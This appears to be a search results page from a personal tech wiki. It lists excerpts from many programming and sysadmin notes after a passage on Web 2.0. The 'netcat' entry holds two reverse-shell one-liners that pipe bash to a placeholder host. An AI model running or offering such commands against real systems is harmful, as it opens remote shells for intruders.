         기존의 몇개월주기 몇년주기의 일반적인 s/w 릴리즈 형태와는 다르게 웹2.0에 속하는 서비스들은 매일매일 데이터와 프로그램이 업데이트되고 업그레이드된다. 이러한 이유로 펄, 파이썬, php, 루비 등의 스크립트 언어들이 중요한 역할을 수행하여 쉽고 빠른 업그레이를 돕게 된다. web2.0에서의 사용자는 개발자그룹에 포함시켜 취급되어 진다. 즉 사용자들의 답변과 행동의 모니터링 등을 통해 새로운 기능과 서비스를 항상 반영하고 있다. Gmail, 구글 맵스, 플리커(Flickr), 딜리셔스(del.icio.us) 같은 서비스들이 수년째 "베타" 로고를 가지고 운영되고 있다.
         이상 웹2.0의 대표적인 특징들을 살펴보았고 각 특징을 구현하고 있는 주요 기술들과 용어에 대해 알아보려고 한다. 물론 이러한 기술들은 최근에 새로 등장한 것도 있지만 대부분 예전부터 존재했었던것, 그리고 점차적으로 변형되어 발전된 것들이 대부분이다. 예를 들면 Ajax에 사용되어지는 Javascript와 XML 그리고 비동기통신을 가능하게 하는 모듈은 예전부터 있었지만 구글에서 적극적으로 사용되어지면서 웹2.0의 주요기술로 인식되고 즐겨 사용되어지고 있다.
         5.Mashup
         구글의 지도, 네이버의 검색 api등 웹2.0시대에는 자신의 api를 공개하고 있다. 즉 비교적 단순한 공개된 api를 이용하여 자신만의 새로운 서비스를 만들어 낸다. 대표적인 예로 하우징맵은 크레이그리스트(craigslist)의 부동산 정보를 구글맵(Google Maps)의 도시 지도에 결합시킨 서비스가 있다. 이러한 매쉬업 특성으로 인해 저렴한 비용으로 새로운 서비스가 빠르게 구축되게 된다.
         attachment:mashup01.png
         6.LongTail효과
  • WeblogicBoot.properties . . . . 4 matches
         {{{~~/user_projects/IntraDomain>cat boot.properties}}}
         username=MY_ID
         password=MY_PASSWD
         password={3DES}a;lskdjf;laksjdflkasdf\=\=
         username={3DES}aksdhfkhasd;fj;alskdjf\=\=
  • chatgpt . . . . 4 matches
         ["Chat Based AI Service"] >
         #ref. https://platform.openai.com/docs/api-reference/completions/create
         OPENAI_API_KEY=****
          curl https://api.openai.com/v1/chat/completions \
          -H "Authorization: Bearer $OPENAI_API_KEY" \
          "messages": [{"role": "user", "content": "'"$PROMPT"'"}],
  • fest.assertions . . . . 4 matches
         #keywords assert, unit test
         import static org.fest.assertions.api.Assertions.assertThat;
         assertThat(fromDate).isEqualTo(new LocalDate(2016, 4, 1));
  • flat nested list . . . . 4 matches
         public class NestedList {
          public static void main(String[] args) {
         import static java.util.Arrays.asList;
         public class Node {
          return branch(asList(nodes));
  • javatime . . . . 4 matches
         class DateTimeUtilsTest {
          @Test
         class DateTimeUtils {
          val ZONE_ID_ASIA_SEOUL = ZoneId.of("Asia/Seoul")
          return zdt.withZoneSameInstant(ZONE_ID_ASIA_SEOUL)
  • netcat . . . . 4 matches
         = 외부(공인ip)에서 내부(사설ip)의 bash를 사용 =
         내부(사설ip) : nc -e /bin/bash x.x.x.x 80
         = nc설치안된 내부의 bash 사용 =
         내부(사설ip) : telnet x.x.x.x 10000 | /bin/bash | telnet x.x.x.x 10001
  • volatile . . . . 4 matches
         public class VolatileTest1 implements Runnable {
          public static void main(String[] args) {
          VolatileTest1 test = new VolatileTest1();
          Thread t1 = new Thread(test);
          Thread t2 = new Thread(test);
  • wga . . . . 4 matches
         시작 > 검색 > wgasetup
         c:\windows\tasks\wgasetup.exe
         c:\windows\system32\KB905474\wgasetup.exe
  • 정규식치환문자 . . . . 4 matches
         | \2-\9 | Do the same for the second (etc.) pair of \( \) |
         | \U | Convert following characters to uppercase |
         | \L | Convert following characters to lowercase |
         | \u | Convert the next character to uppercase |
         | \l | Convert the next character to lowercase |
  • 클래스로딩로그보기Jvm옵션 . . . . 4 matches
         [[class 찾기]] >
         http://www.herongyang.com/JVM/ClassLoader-JVM-Option-verbose-class.html
         java -verbose:class
  • 패스워드크랙 . . . . 4 matches
         password crack program
         unix passwd shadow : md5 hash (256bit)
         Password Guessing
  • 해쉬함수 . . . . 4 matches
         해시 함수(hash function) 또는 해시 알고리즘(hash algorithm)은 임의의 데이터로부터 일종의 짧은 "전자 지문"을 만들어 내는 방법이다. 해시 함수는 데이터를 자르고 치환하거나 위치를 바꾸는 등의 방법을 사용해 결과를 만들어 내며, 이 결과를 흔히 해시 값(hash value)이라 한다.
         hash 알고리즘은 입력 값의 크기에 상관없이 동일한 크기의 결과 값을 만들어냄. 예를 들어, SHA256 알고리즘의 경우 입력값이 1바이트이던 100MB이던 256비트(32바이트)의
         MD5, SHA1, SHA256, SHA384, SHA512, RMD128, RMD160, RMD256, RMD320, HAS160, TIGER 등
  • AI Training . . . . 3 matches
         ["AI Tech"]
         ["AI Training Cloud"]
          - 일반적인 Fine-Tuning보다 SFT로 학습시킨 내용에 더 가깝게 AI가 응답하도록 함
  • ArrayListVsHashSet . . . . 3 matches
         cf. [ImmutableSet vs HashSet]
         ArrayList test(LAST=21474836)
         ArrayList test(LAST=21474836)
         HashSet test(LAST=21474836)
         HashSet test(LAST=21474836)
  • CapslockKeyToVimLikeHJKLArrowKeyAndESCKey . . . . 3 matches
         [xmodmap to use capslock as vim like HJKL arrow key and ESC key]
         xkb_symbols "basic" {
          key <TLDE> { [ grave, asciitilde ] };
  • Cassandra . . . . 3 matches
         [Basic Rules of Cassandra data modelling]
         [Cqlsh basic commands]
  • ClassLoading정보보기 . . . . 3 matches
         [class 찾기] >
         [classloader.jsp]
         java -verbose[:class|gc|jni]
  • CssStyle . . . . 3 matches
         = pseudo(유사) class =
         cascade와 다른 점
         <link href="/css/basic.css" rel="stylesheet" type="text/css" />
  • EclipseOnUbuntu . . . . 3 matches
         Exec=/usr/java/jdk7/bin/java -Dosgi.requiredJavaVersion=1.6 -XX:MaxPermSize=256m -Xms40m -Xmx512m -jar /home/xxx/programs/eclipse//plugins/org.eclipse.equinox.launcher_1.3.0.v20130327-1440.jar -os linux -ws gtk -arch x86_64 -showsplash /home/xxx/programs/eclipse//plugins/org.eclipse.platform_4.3.1.v20130911-1000/splash.bmp -launcher /home/xxx/programs/eclipse/eclipse -name Eclipse --launcher.library /home/xxx/programs/eclipse//plugins/org.eclipse.equinox.launcher.gtk.linux.x86_64_1.1.200.v20130807-1835/eclipse_1506.so -startup /home/xxx/programs/eclipse//plugins/org.eclipse.equinox.launcher_1.3.0.v20130327-1440.jar --launcher.appendVmargs -exitdata 338007 -product org.eclipse.epp.package.jee.product -vm /usr/java/jdk7/bin/java -vmargs -Dosgi.requiredJavaVersion=1.6 -XX:MaxPermSize=256m -Xms40m -Xmx512m -jar /home/xxx/programs/eclipse//plugins/org.eclipse.equinox.launcher_1.3.0.v20130327-1440.jar
         StartupWMClass=Eclipse
  • FastSearchMacro . . . . 3 matches
         5000여개의 파일이 있을 때 FastSearch는 2초 걸렸다. php는 파일 처리속도가 늦다는 이유로 FullSearchMacro를 쓰면 약 15여초 걸린다. 그 대신에, wiki_indexer.pl은 하루에 한두번정도 돌려야 되며, 5분여 동안의 시간이 걸린다.
         {{{[[FastSearch(Moniwiki)]]}}}
         [[FastSearch]]
  • FindPage . . . . 3 matches
         You can use this page to search all entries in this WikiWiki. Searches are not case sensitive.
          * FindPage: search or browse the database in various ways
         You can also use regular expressions, such as
  • GoogleAIYVoiceKit . . . . 3 matches
         #keywords Google AIY, voice kit
         https://www.raspberrypi.org/forums/viewtopic.php?t=193379
         https://dl.google.com/dl/aiyprojects/voice/aiyprojects-latest.img.xz
         --https://dl.google.com/dl/aiyprojects/aiyprojects-latest.img.xz--
         sudo dd bs=1M if=AIY-Voice/aiyprojects-2018-02-21.img of=/dev/sdb
  • GuavaRateLimiterExample . . . . 3 matches
         fun main(args: Array<String>) {
         fun acquireTest(transaction: Int) {
         fun tryAcquireTest(transaction: Int, sleep: Long) {
         https://github.com/gimslab/rate-limiter-exam/blob/master/src/main/kotlin/com/gimslab/ratelimiterexam/App.kt
  • HelpOnPageCreation . . . . 3 matches
         On details on how to create and link to subpages, see HelpOnEditing/SubPages.
         To create a template, follow the above description and create a page with a name ending in "'''Template'''"[[FootNote(If the wiki administrator changed the default settings, rules for what names are template pages might be different.)]]. This page will then be added to the list of template pages displayed when you try to show a non-existent page. For example, NonExistentHelpPage has a link to HelpTemplate that loads the content of HelpTemplate into the editor box, when you click on that link.
         The following variables are substituted when a page is ''finally'' saved. Note that they'll appear unreplaced in the preview!
         || @''''''TIME@ || Current date and time in the user's format ||
         || @''''''USERNAME@ || Just the user's name (or his domain/IP) ||
         || @''''''USER@ || Signature "-- loginname" ||
         || @''''''MAILTO@ || A fancy mailto: link with the user's data ||
         Note that saving template or form definition pages and using preview does ''not'' expand variables. Other than that, variable expansion is very global and happens anywhere on the page, including code displays, comments, processing instructions and other "special" areas of a page you might think are excluded.
  • HelpOnRules . . . . 3 matches
         You can insert a horizontal rule across the page by typing four or more dashes. The number of dashes in a horizontal rule markup determines how thick it is, up to a limit of 10.
         /!\ MoniWiki does not set the thickness by default. Please set `$hr_type="fancy"`; to control the thickness of hr (since v1.0.9).
  • HelpOnSpellCheck . . . . 3 matches
         If the "dbhash" module is available with your Python installation, the files in "dict" are read only ''once'' and stored in a hash table. This speeds up the spell checking process because then the number of words in the ''checked page'' determines the time needed for the checking, ''not'' the number of words in the dictionary (with 250000 words, some hundred milliseconds instead of several seconds).
         BTW, a UNIX machine normally comes with at least one words file; to use those, create a symlink within the dict directory, like so:
  • HelpOnTables . . . . 3 matches
         To create a table, you start and end a line using the table marker "`||`". Between those start and end markers, you can create any number of cells by separating them with "`||`". To get a cell that spans several columns, you start that cell with more than one cell marker. Adjacent lines of the same indent level containing table markup are combined into one table.
         The wiki-like markup has the following options:
         In addition to these, you can add some of the traditional, more long-winded HTML attributes (note that only certain HTML attributes are allowed). By specifying attributes this way, it is also possible to set properties of the table rows and of the table itself, especially you can set the table width using {{{||<tablewidth="100%">...||}}} in the very first row of your table, and the color of a full row by {{{||<rowbgcolor="#FFFFE0">...||}}} in the first cell of a row. As you can see, you have to prefix the name of the HTML attribute with {{{table}}} or {{{row}}}.
         MoniWiki support simple alignment feature like as the PmWiki
         more cleaner representation is following: "space" character has special meaning.
  • Html5HTML . . . . 3 matches
         [html5 basic]
          <aside>
          </aside>
         <link rel='prefetch' href="http://myblog.com/main.php">
         <input type='email'>
  • HttpsHCApache.java . . . . 3 matches
         package com.gimslab.https_test;
         public class HttpsHCApache {
          public static void main(String[] args) throws Exception {
          new HttpsHCApache().httpsGetTest();
          private void httpsGetTest() throws Exception {
  • JavaFileCopy . . . . 3 matches
         public class NioCopy {
          public static void main(String[] args) throws Exception {
          new NioCopy().doTest();
          private void doTest() throws Exception {
  • JavaSeed암호화 . . . . 3 matches
          import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
          return seed.decryptAsString(Base64.decode(encryptStr), key.getBytes(), "UTF-8");
          return seed.decryptAsString(Base64.decode(encryptStr), key.getBytes());
  • JavascriptException . . . . 3 matches
         [javascript]에서의 exception handling
         [javascript] exception에는 javascript 1.5기준으로 하여 아래 6가지가 있다.
  • LocalKeywords . . . . 3 matches
         #format plain
         ## Please dont delete this page
         user preferences
         database DB
         moniwikiideas todo
  • Maven . . . . 3 matches
         Apache Maven is a software project management and comprehension tool. Based on the concept of a project object model (POM), Maven can manage a project's build, reporting and documentation from a central piece of information.
         Maven's primary goal is to allow a developer to comprehend the complete state of a development effort in the shortest period of time. In order to attain this goal there are several areas of concern that Maven attempts to deal with:
          * Making the build process easy
         [maven 사용하기] : compile, test, package, install, deploy
  • Missing Value Handling . . . . 3 matches
         data = pd.read_csv('housing-price-train.csv')
         # divide data into training and validation subsets
         X_train, X_valid, y_train, y_valid = train_test_split(
          X, y, train_size=0.8, test_size=0.2, random_state=0)
         cols_with_missing = [col for col in X_train.columns
          if X_train[col].isnull().any()]
         reduced_X_train = X_train.drop[cols_with_missing, axis='columns')
         imputed_X_train = pd.DataFrame(my_imputer.fit_transform(X_train)) # same as fit() and transform()
         imputed_X_train.columns = X_train.columns
         X_train_plus = X_train.copy()
         cols_with_missing = [col for col in X_train.columns
          if X_train[col].isnull().any()]
          X_train_plus[col + '_was_missing'] = X_train_plus[col].isnull()
          X_valid_plus[col + '_was_missing'] = X_valid_plus[col].isnull()
         imputed_X_train_plus = pd.DataFrame(my_imputer.fit_transform(X_train_plus))
         imputed_X_train_plus = X_train_plus.columns
         X_full = pd.read_csv('housing-price-train.csv')
  • MoniWiki/Release1.0 . . . . 3 matches
         Release1.0 카운트다운에 들어갑니다. Release1.0 예정 발표일은 2003/05/30 입니다.
         약속은 늦었지만, Release1.0이 6월 20일경에 내놓겠습니다. 아마도 rc8이나 rc9가 1.0이 되지 않을까 싶습니다.
  • PrestoAndHiveTrainingSession . . . . 3 matches
         basedOnDisk: Hive(MR, Tez)
         basedOnMemory: SparkSQL(SparkEngine), Presto,Impala,Tajo
         ex) create table ... store as ORC
         조인하는 경우 join key 조건이 있더라도 subquery, main query에 모두 조건을 지정하는게 좋다
  • RaspberryPi활용기 . . . . 3 matches
         #keywords Raspberry Pi
          * [[MoniWiki on Raspberry Pi]]
          * [[BitTorrent on Raspberry Pi]]
  • ResetMysqlRootPassword . . . . 3 matches
          * always login as a root with sudo
         ALTER USER 'root'@'localhost' IDENTIFIED BY 'MyNewPass';
         mysql> ALTER USER 'root'@'localhost' IDENTIFIED BY 'MyNewPass';
  • TamarinProject . . . . 3 matches
         The goal of the "Tamarin" project is to implement a high-performance, open source implementation of the [ECMAScript] 4th edition (ES4) language specification. The Tamarin virtual machine will be used by Mozilla within SpiderMonkey, the core JavaScript engine embedded in [Firefox]®, and other products based on Mozilla technology. The code will continue to be used by Adobe as part of the ActionScript™ Virtual Machine within Adobe® Flash® Player.
  • Test명령 . . . . 3 matches
         {{{[}}} 와 {{{[[}}} 의 차이점 : [[http://mywiki.wooledge.org/BashFAQ/031]]
         test -option filename
         $ test -f my_file
         http://wiki.bash-hackers.org/commands/classictest
  • TheIdealWayToUseJUnit . . . . 3 matches
          * Decide what methods will be in your class, then write them as stubs — for example,
          * public boolean testSomething() { return false; }
          * Use your IDE to create the test class, complete with stubs for each test method
          * Write one simple test
          * Run it, and check that it fails
          * Write a harder test, or go on to the next test method
          * until all the code is written and tested
  • UseCaseDiagram . . . . 3 matches
         참조 : [Module02.UseCase모델링]
          * [UseCase 관계]
          * [UseCase 정의서]
  • WSDL문서의구조 . . . . 3 matches
          <soap:binding transport="http://schemas.xmlsoap.org/soap/http" style="rpc"/>
          <soap:body encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
          <soap:body encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
  • WebBrowserPlugins . . . . 3 matches
          Wasavi: edit with vim
          Javascript & Css auto injection
          Vimperator: is a Firefox browser extension with strong inspiration from the Vim text editor, with a mind towards faster and more efficient browsing.
  • WeblogicOracleConnectionPool . . . . 3 matches
         환경 : was1, was2 클러스터링
         (load_balance=yes)(failover=yes)(connect_data=(service_name=HDB)))
         was의 /etc/hosts 파일에 해당 DB의 ip와 hostname을 넣어줬더니 잘되네...
  • WhiteSpace . . . . 3 matches
         WhiteSpace default options are available under: Utilities> Global Options> Plugin Options> WhiteSpace.
         Show trailing spaces by default
         Show trailing tabs by default
         Display ISO control chars as whitespaces
         Remove trailing whitespaces
         All trailing tabs and spaces are removed, except those preceded by one of the given escape characters. The default escape character is \ (backslash). E.g.
         Leading whitespaces are replaced by a sequence of tabs possibly followed by at most tabSize - 1 spaces. The expanded length of leading whitespaces remains the same.
         All tabs are removed from the leading whitespaces and replaced by an equivalent number of spaces. The expanded length of leading whitespaces remains the same.
         The Buffer options are available from the Plugins> WhiteSpace menu.
         The following Buffer options enable you to control the highlighting of spaces, tabs and other whitespaces for a given jEdit buffer. It's also possible to highlight spaces and tabs depending on their position (leading/inner/trailing) in the text.
         Show trailing spaces
         Show trailing tabs
         The following Buffer options control the actions to be taken when a buffer is saved. Note that the last three actions are mutually exclusive.
         Remove trailing whitespaces
  • WindowsXP기본서비스 . . . . 3 matches
         17 Fast User Switching Compatibility
         다른 자격 증명으로 프로세스를 시작하게 한다. 윈도우즈XP의 RunAs 서비
         59 Simple Mail Transport Protocol (SMTP)
         68 Task Scheduler
  • XT-720 . . . . 3 matches
         9. 메모리 : 512M Flash / 256M RAM
         11. 기본 브라우저 : Webkit Full HTML5 Browser (추후 FLASH lite & 10지원 예정)
          720p HD캠코더(1280x720x24fps-avi,mp4,3gp,asf,wmv,skm),
         18. GPS : aGPS / sGPS / E-Compass / Google Maps
          구글관련 사용(안드로이드마켓,유투브,캘린더,싱크, 맵,서치 ,Gmail 등)
  • ajax . . . . 3 matches
          *Ajax(Asynchronous JavaScript and XML)
         [^http://developers.sun.com/ajax/componentscatalog.jsp AJAX Components Available for the Sun Java Studio Creator 2 IDE]
         [backbase]
          xmlhttp.open("GET", "/comnote/web/ajax/ajaxTest_getMessage.jsp", true);
         http://www.meebo.com/ - 웹기반메신저(AIM(ICQ), YahooMessenger, Jabber(GTalk), MSN)
         http://gmail.com/ - web mail
  • amho . . . . 3 matches
         https://github.com/gimslab/bash-snippets/blob/master/amho.sh
         #!/bin/bash
  • bazel . . . . 3 matches
         artifact-based build system
         task-based build system e.g. [gradle], ant
  • copy-production2dev-read-id-from-stdin.py . . . . 3 matches
         prdb = MySQLdb.connect(prdb_host, "angcoup", "impasswd", "mydb")
         devdb = MySQLdb.connect(devdb_host, "angcoup", "impasswd", "mydb")
          #devdb_cursor.execute("select last_insert_id()");
  • ddns . . . . 3 matches
         gimslab21.asuscomm.com
         myhost.asuscomm.com <-- using rtac68p router own ddns feature
         myhost.mydomain.com cname of myhost.asuscom.com <-- using free dns like https://dns.he.net/
  • mysql . . . . 3 matches
         [remove mysql data and root password]
         [reset mysql root password]
         [reset mysql initial root password]
  • shinhung . . . . 3 matches
         http://www.kunpo-shinhung.es.kr/class/include/sub.php?mode=board&no=287&category=10712&db=mini_album&menuSkin=board_miniAlbum
         http://www.kunpo-shinhung.es.kr/class/include/sub.php?mode=board&no=281&category=10605&db=mini_board&menuSkin=board_miniBasic
  • weblogic_getInitialContext() . . . . 3 matches
         import java.util.Hashtable;
          Hashtable h = new Hashtable();
         WAS 2대 이상 운영시 failover 위한 설정 예
  • 모델링에대한이해 . . . . 3 matches
          * It may encompass detailed plans
          * The basic reason for modeling is to get a better understanding of the system we are developing
  • 모바일관련현황 . . . . 3 matches
          * 올해 상반기 17개 시중 은행이 모바일 뱅킹 표준 모델을 개발, 서비스에 나설 예정.모바일 뱅킹은 2012년 약 1천200만건으로 늘어나 지난해(187만건)에 비해 660% 증가할 것으로 추산됐다. [http://article.joins.com/article/article.asp?ctg=11&Total_ID=4002748 중앙일보]
          * 아이폰으로 인한 모바일 광고시장이 올해 98억원에서 내년 225억원, 2012년 419억원으로 성장할 것으로 예상됐다. [http://article.joins.com/article/article.asp?ctg=11&Total_ID=4002748 중앙일보]
          * 현재 스마트폰 시장은 모바일 비지니스의 가장 중요한 부분이 되고 있으며 2013년에 이르면 전체 휴대폰 시장의 약 40~50%의 점유율을 차지할것이라는 의견이 지배적이다. [네오비스 http://www.neovis.net/blog_post_180.aspx]
  • 코틀린마이크로서비스개발-후안안토니오 . . . . 3 matches
         마이크로서비스에서 [DDD](Domain-Driven Design)를 사용하면 마이크로서비스 원칙을 충족하는데 도움이 된다.
          - Ubiquitous Language: Microservices가 사용하는 언어가 유비쿼터스 언어임을 보장해야하므로 노출된 Operation과 Interface는 Context Domain Language로 표현된다.
          - 서비스 모델: IaaS(AWS, Google Compute Engine), Paas(Google App Engine), SaaS(Google G Suite, MS Office 365)
         = 9. Spring Microservices Test =
         Fluent Test.. Kluent
  • 클래스가어떤리소스에서로드되었는지확인 . . . . 3 matches
         [class 찾기] >
         [whichclass.jsp]
         [classloader.jsp]
  • .bash_profile . . . . 2 matches
         [.bashrc와 .bash_profile 차이점]
  • .bashrc . . . . 2 matches
         [.bashrc와 .bash_profile 차이점]
  • AI . . . . 2 matches
         ["AI Tools"]
         ["AI Tech"]
  • AI Tools . . . . 2 matches
         https://arcards.ai
         https://www.prpt.ai/
          * 유튜브 요약: https://traw.ai/home
          * 유튜브 요약 Chrome extension: https://chromewebstore.google.com/detail/youtube-chatgpt-%EC%B1%84%ED%8C%85gpt%EB%A5%BC-%EC%82%AC%EC%9A%A9/baecjmoceaobpnffgnlkloccenkoibbb?hl=ko
         Open-Source AI Agent that can build FULL Stack Aplls
          * voice-changer: https://github.com/w-okada/voice-changer/blob/master/README_en.md
         파이썬 알려주는 봇: https://app.droxy.ai/guest-chatbot/64d446d9176401e6aa48de5e
  • AppleMagicTrackpad2ForUbuntu20.04.1 . . . . 2 matches
         ⎡ Virtual core pointer id=2 [master pointer (3)]
         ⎜ ↳ Virtual core XTEST pointer id=4 [slave pointer (2)]
         ⎣ Virtual core keyboard id=3 [master keyboard (2)]
          ↳ Virtual core XTEST keyboard id=5 [slave keyboard (3)]
  • BashScript . . . . 2 matches
         #keywords bash, script
         [bash scripts]
  • BashScripts . . . . 2 matches
         [bash]
         https://github.com/gimslab/bash-scripts
  • BashStatements . . . . 2 matches
         #keywords bash, script, statements
         [bash if statements]
  • BitSetTest . . . . 2 matches
         package zzz.bitsettest;
         public class BitSetTest {
          public static void main(String[] args) {
  • BlogChangesMacro . . . . 2 matches
         {{{[[BlogChanges("Test/Blog",simple)]]}}}
         [[BlogChanges("Test/Blog",simple)]]
  • BuildingMicroservices;마이크로서비스아키텍처구축-샘뉴먼지음,정성권옮김 . . . . 2 matches
          - HATEOAS : Hypermedia As The Engine Of Application State
          - JSON : HATEOAS를 위해 HAL 적용 (Hypertext Application Language)
          - ex : addPoint(amount(100), forAccount(1234)) ===> addPoint(amount(100), forAccount(1234), reason(forPurchase(4567)))
  • Class찾기 . . . . 2 matches
         [class loading 정보 보기]
         [classloader.jsp]
  • ClipMacro . . . . 2 matches
         [[Clip(test)]]
         [[Clip(test3)]]
         [[Clip(test4)]]
         [[Clip(test5)]]
         [[Clip(test6)]]
         잘 안되네요. 윈XP pro !SP2 , Internet Explore 6.0 !SP2 에서 테스트 했습니다. paste와 copy는 별 반응없고, Unload 괜히 눌렀다가 위의 그림만 지웠네요 ^^;
         익스플로러 XP프로 SP2에서 잘 되는군요. print screen키를 누르신다음에 paste해보세요 -- Anonymous [[DateTime(2005-03-31T16:55:09)]]
         [[Clip(test)]]
         [[Clip(test1)]]
  • CopyOffsetsOfAConsumerGroupToAnotherConsumerGroup . . . . 2 matches
         Consumer group 'grp1' has no active members.
         test1 0 3 15 12 - - -
         test1 1 4 18 14 - - -
         test1 2 3 17 14 - - -
         ~/programs/kafka_2.11-1.1.0$ bin/kafka-consumer-groups.sh --reset-offsets --to-current --export --group grp1 --topic test1 --bootstrap-server localhost:9092 > /tmp/grp1-offsets.csv
         test1,2,3
         test1,1,4
         test1,0,3
         ~/programs/kafka_2.11-1.1.0$ bin/kafka-consumer-groups.sh --reset-offsets --from-file /tmp/grp1-offsets.csv --dry-run --group grp2 --topic test1 --bootstrap-server localhost:9092
         test1 2 3
         test1 1 4
         test1 0 3
         ~/programs/kafka_2.11-1.1.0$ bin/kafka-consumer-groups.sh --reset-offsets --from-file /tmp/grp1-offsets.csv --execute --group grp2 --topic test1 --bootstrap-server localhost:9092
         test1 2 3
         test1 1 4
         test1 0 3
         Consumer group 'grp2' has no active members.
         test1 0 3 15 12 - - -
         test1 2 3 17 14 - - -
         test1 1 4 18 14 - - -
  • CopyingOffsetsOfAConsumerGroupToAnotherConsumerGroupInKafka0.10WithPythonScript . . . . 2 matches
         The following python scripts are available from [https://github.com/gimslab/scripts/tree/master/copy-kafka-offsets-0.10.1.1-python3 github]
         grp1 test1 0 26 31 5 py-1_/127.0.0.1
         grp1 test1 1 29 33 4 py-1_/127.0.0.1
         grp1 test1 2 28 33 5 py-1_/127.0.0.1
         grp2 test1 0 unknown 31 unknown py-1_/127.0.0.1
         grp2 test1 1 unknown 33 unknown py-1_/127.0.0.1
         grp2 test1 2 unknown 33 unknown py-1_/127.0.0.1
          * STOP above script(poll-without-commit.py) with Ctrl+C and WAIT for grp2 to go into REBALANCING state.
         grp1 test1 0 26 31 5 py-1_/127.0.0.1
         grp1 test1 1 29 33 4 py-1_/127.0.0.1
         grp1 test1 2 28 33 5 py-1_/127.0.0.1
         grp2 test1 0 26 31 5 py-1_/127.0.0.1
         grp2 test1 1 29 33 4 py-1_/127.0.0.1
         grp2 test1 2 28 33 5 py-1_/127.0.0.1
  • Decision Tree Regressor Model Sample . . . . 2 matches
          1. Split the sample data into training and validation data
          2. Train the model with the training data
          5. Create a final model by training all the data using the optimal node depth found above
         import pandas as pd
         from sklearn.model_selection import train_test_split
         home_data = pd.read_csv('train.csv')
         # Split into validation and training data
         train_X, val_X, train_y, val_y = train_test_split(X, y, random_state=1)
         iowa_model.fit(train_X, train_y)
         def get_mae(max_leaf_nodes, train_X, val_X, train_y, val_y):
          model.fit(train_X, train_y)
         mae_map = {n: get_mae(n, train_X, val_X, train_y, val_y) for n in candidate_max_leaf_nodes}
  • EpsonL3156NetworkIssue-20101129 . . . . 2 matches
         last modified 2020-11-29 19:20:22
         Advanced Settings > Network Security Settings > SSL/TLS > Basic
  • EqualsVerifier . . . . 2 matches
         java.lang.AssertionError: hashCode throws ArrayIndexOutOfBoundsException when field vendorItemPackageId is null.
         .withPrefabValues(YearMonth.class, new YearMonth(), new YearMonth().plusMonths(1))
  • Google Drive Mount to Ubuntu . . . . 2 matches
         $ cat /home/{USERID}/bin/gdfuse.sh
         #!/bin/bash
         su {USERID} -l -c "google-drive-ocamlfuse -label $1 $*"
         make a directory as a mount point
         mkdir /home/{USERID}/GoogleDrive
         /home/{USERID}/bin/gdfuse.sh#default /home/{USERID}/GoogleDrive fuse uid=1000,gid=1000,allow_other,user 0 0
  • HelpContents . . . . 2 matches
          * HelpOnUserPreferences - how to make yourself known to the wiki, and adapt default behaviour to your taste
          * HelpOnNavigation - explains the navigational elements on a page
          * MoniWiki:HelpMiscellaneous for more details, and a FAQ section
  • HelpOnMacros . . . . 2 matches
         Macros allow the insertion of system features into normal wiki pages; the only thing that makes those pages special is that they contain macros. If you edit pages like RecentChanges or SystemInfo, you'll see what that means.
         ||{{{[[UserPreferences]]}}} || display a user preferences dialog || UserPreferences ||
  • HelpOnPageDeletion . . . . 2 matches
         What this means is that you can get back at deleted pages by using the standard mechanisms. If you enter the page name into the `!GoTo` dialog form, you'll see the usual page creation stuff, but clicking on `!PageInfo` will reveal the old version history, unless the page was purged by WikiMaster out of existence inbetween.
  • HelpOnSubPages . . . . 2 matches
         Subpages are groups of pages that share a common prefix, which itself is another page. While this is also possible with "classic" wiki, by using names like {{{SomeTopicSubTopic}}}, the use of {{{SomeTopic/SubTopic}}} allows better navigational support, and you can omit the common prefix when linking from the parent page to the child page.
         Thus, by using "/" to concatenate several WikiName''''''s, you can create arbitrarily deep hierarchies (within limits, especially the length of filenames on your system). In reality, subpages are normal pages that contain a "/" in their name, and thus they are stored besides all other pages in the file system.
         /!\ Please do all of us a favour and don't create the /ThirdLevel pages, it's just an example!
  • HelpOnXmlPages . . . . 2 matches
         If you have Python4Suite installed in your system, it is possible to save XML documents as pages. It's important to start those pages with an XML declaration "{{{<?xml ...>}}}" in the very first line. Also, you have to specify the stylesheet that is to be used to process the XML document to HTML. This is done using a [http://www.w3.org/TR/xml-stylesheet/ standard "xml-stylesheet" processing instruction], with the name of a page containing the stylesheet as the "{{{href}}}" parameter.
         See the following example for details, which can also be found on the XsltVersion page.
  • HttpServletRequest . . . . 2 matches
         http://gimslab.com:8001/z/zz.jsp?asdlkj=sdf&sdlkjxxx
         request.getQueryString() = asdlkj=sdf&sdlkjxxx
  • IdeaPlugins . . . . 2 matches
         #keywords idea, intellij, plugin, vim, easymotion
         KJump (easymotion for ideavim)
         https://plugins.jetbrains.com/plugin/9567-request-mapper
  • IdeaQclassDuplicated . . . . 2 matches
         Querydsl Qclass Duplicated issue
         Obtain processors from project classpath: check
  • InstallPrivateRootCertInUbuntu . . . . 2 matches
         https://askubuntu.com/questions/73287/how-do-i-install-a-root-certificate
         In case of a .pem file on Ubuntu, it must first be converted to a .crt file:
  • InterMap . . . . 2 matches
         # Please modify the following two lines
          Please See InterWiki MoniWiki:InterMapIcon
  • IterateMultipleArgsInBash . . . . 2 matches
         #keywords bash-script, bash
  • JDepend . . . . 2 matches
         JDepend traverses Java class file directories and generates design quality metrics for each Java package. JDepend allows you to automatically measure the quality of a design in terms of its extensibility, reusability, and maintainability to manage package dependencies effectively.
          * 메인 시퀀스로부터의 거리(Distance from the Main Sequence; D) : 이상적인 라인 A+I=1 로부터의 패키지의 수직거리. 패키지의 추상도와 안정성간의 균형성을 나타내는 지표. 이상적인 패키지는 완전히 추상적이고 안정적(x=0, y=1) 이거나 완전히 concrete하고 불안정하다(x=1, y=0)
  • JUnit . . . . 2 matches
          * [JUnit관련 Ant Test Target 예제]
          * [JUnit Assert Methods]
         xxxTest() 함수를 실행할 때 마다 새 객체가 생성됨
  • Jar파일에Classpath추가하기 . . . . 2 matches
          * Adding Classes to the JAR File's Classpath : http://java.sun.com/docs/books/tutorial/deployment/jar/downman.html
  • JavaMailSendExam . . . . 2 matches
          * [java mail]을 이용하여 메일 보내기 예제
         import javax.activation.FileDataSource;
         import javax.mail.Message;
         import javax.mail.Multipart;
         import javax.mail.Session;
         import javax.mail.Transport;
         import javax.mail.internet.InternetAddress;
         import javax.mail.internet.MimeBodyPart;
         import javax.mail.internet.MimeMessage;
         import javax.mail.internet.MimeMultipart;
         public class ZZZ {
         public static void main(String[] args) throws Exception{
         String subject = "java 에서 보냅니다. java mail";
         String content = "안녕하세요 java mail";
